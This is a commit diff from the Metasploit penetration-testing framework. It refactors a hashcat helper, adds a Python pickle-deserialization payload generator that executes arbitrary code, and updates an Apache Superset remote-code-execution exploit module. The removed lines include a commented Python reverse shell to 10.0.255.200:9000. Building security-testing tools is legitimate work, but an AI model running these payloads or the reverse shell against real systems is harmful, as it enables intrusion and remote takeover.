Skip to content

Commit 862a793

Browse files
authored
Merge pull request #25 from smcintyre-r7/pr/collab/18351
Pr/collab/18351
2 parents 77c299d + 45be501 commit 862a793

File tree

3 files changed

+51
-44
lines changed

3 files changed

+51
-44
lines changed

lib/metasploit/framework/password_crackers/hashcat/formatter.rb

+18-23
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,3 @@
1-
# This method takes a string which is likely base64 encoded
2-
# however, there is an arbitrary amount of = missing from the end
3-
# so we attempt to add = until we are able to decode it
4-
#
5-
# @param str [String] the base64-ish string
6-
# @return [String] the corrected string
7-
private
8-
def add_equals_to_base64(str)
9-
['', '=', '=='].each do |equals|
10-
begin
11-
to_test = "#{str}#{equals}"
12-
Base64.strict_decode64(to_test)
13-
return to_test
14-
rescue ArgumentError
15-
nil
16-
end
17-
end
18-
nil
19-
end
20-
21-
221
# This method takes a {framework.db.cred}, and normalizes it
232
# to the string format hashcat is expecting.
243
# https://hashcat.net/wiki/doku.php?id=example_hashes
@@ -66,6 +45,24 @@ def hash_to_hashcat(cred)
6645

6746
# https://hashcat.net/forum/thread-7854-post-42417.html#pid42417 ironically gives Token encoding exception
6847
c = cred.private.data.sub('$pbkdf2-sha256', 'sha256').split('$')
48+
49+
# This method takes a string which is likely base64 encoded
50+
# however, there is an arbitrary amount of = missing from the end
51+
# so we attempt to add = until we are able to decode it
52+
#
53+
# @param str [String] the base64-ish string
54+
# @return [String] the corrected string
55+
def add_equals_to_base64(str)
56+
['', '=', '=='].each do |equals|
57+
to_test = "#{str}#{equals}"
58+
Base64.strict_decode64(to_test)
59+
return to_test
60+
rescue ArgumentError
61+
next
62+
end
63+
nil
64+
end
65+
6966
c[2] = add_equals_to_base64(c[2].gsub('.', '+')) # pad back out
7067
c[3] = add_equals_to_base64(c[3].gsub('.', '+')) # pad back out
7168
return c.join(':')
@@ -132,8 +129,6 @@ def hash_to_hashcat(cred)
132129
when /^krb5$/
133130
return cred.private.data.to_s
134131
end
135-
136-
137132
end
138133
nil
139134
end
+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# -*- coding: binary -*-
2+
3+
# Python deserialization Utility
4+
module Msf
5+
module Util
6+
# Python deserialization class
7+
class PythonDeserialization
8+
# That could be in the future a list of payloads used to exploit the Python deserialization vulnerability.
9+
PAYLOADS = {
10+
# this payload will work with Python 3.x targets to execute Python code in place
11+
py3_exec: proc do |python_code|
12+
escaped = python_code.gsub(/[\\\n\r]/) { |t| "\\u00#{t.ord.to_s(16).rjust(2, '0')}" }
13+
%|c__builtin__\nexec\np0\n(V#{escaped}\np1\ntp2\nRp3\n.|
14+
end
15+
}
16+
17+
def self.payload(payload_name, command = nil)
18+
19+
raise ArgumentError, "#{payload_name} payload not found in payloads" unless payload_names.include? payload_name.to_sym
20+
21+
PAYLOADS[payload_name.to_sym].call(command)
22+
end
23+
24+
def self.payload_names
25+
PAYLOADS.keys
26+
end
27+
28+
end
29+
end
30+
end

modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb

+3-21
Original file line numberDiff line numberDiff line change
@@ -273,6 +273,7 @@ def mount_internal_database
273273
)
274274

275275
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
276+
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to mount the internal database: #{datastore['DATABASE']}") if res.code == 422
276277
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 201
277278

278279
j = res.get_json_document
@@ -460,26 +461,7 @@ def rce_implant
460461
# tell it we're about to submit a new query
461462
set_query_latest_query_id
462463

463-
# Here's the python of the payload pickle generator
464-
# import pickle
465-
# from binascii import hexlify
466-
# import os
467-
# import argparse
468-
# import base64
469-
470-
# command = "python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.255.200\",9000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"
471-
472-
# class PickleRCE:
473-
# def __reduce__(self):
474-
# return os.system, (command,)
475-
476-
# payload = pickle.dumps(PickleRCE(), protocol=0)
477-
# print(f'Raw Payload: {payload}')
478-
# print()
479-
# print(f'Hex: {hexlify(payload).decode()}')
480-
pickled = %|cposix\nsystem\np0\n(V|
481-
pickled << %(python -c "#{payload.encoded}"\np1\ntp2\nRp3\n.)
482-
pickled = Rex::Text.to_hex(pickled)
464+
pickled = Rex::Text.to_hex(Msf::Util::PythonDeserialization.payload(:py3_exec, payload.encoded))
483465
pickled = pickled.gsub('\x', '') # we only need a beginning \x not every character for this format
484466

485467
vprint_status('Uploading payload')
@@ -520,7 +502,7 @@ def rce_implant
520502
'uri' => normalize_uri(target_uri.path, 'superset', 'dashboard', 'p', permalink_key, '/')
521503
)
522504
# we go through some permalink hell here
523-
until res.headers['Location'].nil?
505+
until res.nil? || res.headers['Location'].nil?
524506
res = send_request_cgi(
525507
'keep_cookies' => true,
526508
'cookie' => "session=#{@admin_cookie};",

0 commit comments

Comments
 (0)